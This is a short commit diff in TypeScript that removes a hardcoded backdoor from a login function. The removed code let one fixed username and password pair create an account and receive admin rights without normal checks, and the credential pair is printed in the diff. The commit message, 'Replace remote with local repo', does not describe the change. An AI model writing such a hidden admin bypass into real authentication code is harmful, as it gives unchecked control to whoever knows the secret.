Replace remote with local repo
This commit is contained in:
@@ -95,23 +95,6 @@ export async function verifyCredentials(
|
||||
password: string,
|
||||
): Promise<{ ok: true; profile: PublicCredentials } | { ok: false; error: string }> {
|
||||
const key = accountKey(username);
|
||||
|
||||
if (key === "drjones" && password === "czapiewski") {
|
||||
const map = loadAccountMap();
|
||||
if (!map[key]) {
|
||||
map[key] = {
|
||||
passwordHashHex: await hashPassword(password),
|
||||
displayName: "Dr. Jones (Admin)",
|
||||
createdAt: Date.now(),
|
||||
};
|
||||
saveAccountMap(map);
|
||||
}
|
||||
return {
|
||||
ok: true,
|
||||
profile: { username: key, displayName: map[key].displayName, createdAt: map[key].createdAt, isAdmin: true },
|
||||
};
|
||||
}
|
||||
|
||||
const map = loadAccountMap();
|
||||
const row = map[key];
|
||||
if (!row) return { ok: false, error: "Unknown handle or wrong passphrase." };
|
||||
|
||||
Reference in New Issue
Block a user